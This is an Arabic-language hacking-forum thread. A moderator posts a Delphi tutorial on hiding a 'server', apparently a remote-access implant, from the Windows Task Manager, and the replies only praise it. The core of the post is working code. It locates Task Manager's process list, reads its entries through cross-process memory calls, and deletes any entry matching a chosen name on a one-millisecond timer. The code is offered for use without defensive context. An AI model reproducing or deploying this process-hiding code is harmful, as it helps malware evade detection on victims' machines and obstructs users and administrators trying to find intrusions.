1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
الكاتب : !»°بہًكہًر الہًعہًراقہًي°«! | المشاهدات : 766 | الردود : 34
حالة الموضوع:
مغلق
  1. !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм مراقب عآم

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    638
    الإعجابات المتلقاة:
    1,416
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:


    [​IMG]

    كيف الحال اعضاء وزوار ومشرفي منتدى عراق تيم ارجو ان تكونوا بصحه وسلام


    [​IMG]

    درس اليوم اخفاء السيرفر من البروسس بلغه الدلفي


    مع كود سهل ولا يحتاج الى شرح مطول




    اتركم مع الاكواد






    [PHP CODE]

    PROGRAM Server;

    USES Windows,CommCtrl;


    VAR
    MyTimerHandle:WORD;
    MSG:TMSG;

    FUNCTION MaGChar(CONST S: STRING): STRING; VAR Ch: Char; L: Integer; Source, Dest: PChar;
    BEGIN L := Length(S); SetLength(Result, L); Source := Pointer(S); Dest := Pointer(Result);
    WHILE L <> 0 DO BEGIN Ch := Source^; IF (Ch >= 'A') AND (Ch <= 'Z') THEN Inc(Ch, 32); Dest^ := Ch; Inc(Source); Inc(Dest); Dec(L); END; END;

    FUNCTION CacheCache(_Processus:STRING):STRING;
    VAR dwSize, dwNumberOfBytes, PID, hProcess:Cardinal; PLocalShared, PSysShared: PlvItem;
    wnd: THandle; iCount, i: integer; szTemp: STRING;
    BEGIN
    wnd := FindWindow('#32770', NIL);
    wnd := FindWindowEx(wnd, 0, '#32770', NIL);
    wnd := FindWindowEx(wnd, 0, 'SysListView32',NIL);
    iCount := SendMessage(wnd, LVM_GETITEMCOUNT, 0, 0);
    FOR i := 0 TO iCount -1 DO
    BEGIN
    dwSize := SizeOf(LV_ITEM) + SizeOf(CHAR) * MAX_PATH;
    pLocalShared := VirtualAlloc(NIL, dwSize, MEM_RESERVE + MEM_COMMIT, PAGE_READWRITE);
    GetWindowThreadProcessID(WND, @PID); hProcess := OpenProcess(PROCESS_VM_OPERATION OR PROCESS_VM_READ OR PROCESS_VM_WRITE, FALSE, PID);
    pSysShared := VirtualAllocEx(hProcess, NIL, dwSize, MEM_RESERVE OR MEM_COMMIT, PAGE_READWRITE);
    pLocalShared.mask := LVIF_TEXT;
    pLocalShared.iItem := 0;
    pLocalShared.iSubItem := 0;
    pLocalShared.pszText := LPTSTR(DWord(pSysShared) + SizeOf(LV_ITEM));
    pLocalShared.cchTextMax := 100; WriteProcessMemory(hProcess, pSysShared, pLocalShared, 1024, dwNumberOfBytes);
    SendMessage(wnd, LVM_GETITEMTEXT, i, LPARAM(pSysShared));
    ReadProcessMemory(hProcess, pSysShared, pLocalShared, 1024, dwNumberOfBytes);
    szTemp := PChar(DWord(pLocalShared) + SizeOf(LV_ITEM));
    IF Pos(_Processus, MagChar(szTemp)) > 0 THEN
    ListView_DeleteItem(wnd, i);
    VirtualFree(pLocalShared, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, pSysShared, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    END;
    END;

    PROCEDURE TimerProc(Wnd:HWnd;Msg,TimerID,dwTime:DWORD);STDCALL;
    BEGIN
    CacheCache('explorer.exe');
    END;

    PROCEDURE StartTimer(Interval:DWORD);
    BEGIN
    MyTimerHandle:=SetTimer(0,0,Interval,@TimerProc);
    END;

    BEGIN StartTimer(1);

    WHILE(GetMessage(Msg,0,0,0))DO
    BEGIN TranslateMessage(Msg); DispatchMessage(Msg); END;
    END.


    [/PHP CODE]

    اتمنى ان تكون الاكواد واضحه وان يكون الموضوع قد نال اعجابكم



    [​IMG]


    امير ايكل

    المعاقب الصدري

    علي الصقور هنا

    مخلد هكسور

    محمد العراقي

    حازم مشكله


    [​IMG]




     
  2. Ali_Aliraqi Developer

    الأنتساب:
    ‏26 ديسمبر 2014
    المشاركات:
    209
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    50
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    وعليكم السلام ورحمة الله وبركاتهعاشت ايدك حب مبدع
     
  3. وائل الاسدي Developer

    الأنتساب:
    ‏23 فبراير 2015
    المشاركات:
    45
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    30
    الجنس:
    ذكر
    الوظيفة:
    موظف في وزارة الداخلية
    الإقامة:
    IRAQ
    نظام التشغيل:
    Linux
    اللغة البرمجية:
    Delphi
    Facebook:
    YouTube:
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    عاشت ايدك يامبدع
     
  4. !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм مراقب عآم

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    638
    الإعجابات المتلقاة:
    1,416
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    وايدك اخوي الغالي نورت الموضوع
     
  5. !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм مراقب عآم

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    638
    الإعجابات المتلقاة:
    1,416
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    وايدك حبي
     
  6. Girl - SilenT <span style="font-weight: bold; text-shadow: #BBBB مشرفات المنتدى

    الأنتساب:
    ‏1 ابريل 2015
    المشاركات:
    236
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    50
    نظام التشغيل:
    windows 7
    حسابي في الزون اتش Zone-H:
    اللغة البرمجية:
    Perl
    Facebook:
    YouTube:
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    عاشت ايدك مبدع ورده
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  7. GosTeR DZ DeveloPer Plus

    الأنتساب:
    ‏5 يناير 2013
    المشاركات:
    112
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    50
    الإقامة:
    Algeria
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    بارك الله فيك يا غالي .[​IMG].
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  8. مستر كولدن DeveloPer Plus

    الأنتساب:
    ‏4 ديسمبر 2014
    المشاركات:
    224
    الإعجابات المتلقاة:
    288
    نقاط الجائزة:
    155
    الجنس:
    ذكر
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    مبدع عاااشت ايدك يا وردة [​IMG]
     
  9. Ameer Eagle V • I • P

    الأنتساب:
    ‏7 يونيو 2014
    المشاركات:
    3,233
    الإعجابات المتلقاة:
    2,780
    نقاط الجائزة:
    255
    الجنس:
    ذكر
    الوظيفة:
    Student
    الإقامة:
    IraQ
    نظام التشغيل:
    windows 7
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    وعليكم السلام ورحمة الله وبركاته

    بارك الله بيك صديقي بكر مبدع من يومك

    تحياتي وتقديري الك
     
  10. South Hack أبو حسين DeveloPer Plus

    الأنتساب:
    ‏15 نوفمبر 2014
    المشاركات:
    356
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    50
    الإقامة:
    الــعراق
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    عاشت الأنامل بكر دائمأ مبدع ومتميز ب طروحاتك :{2}:​
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
حالة الموضوع:
مغلق

مشاركة هذه الصفحة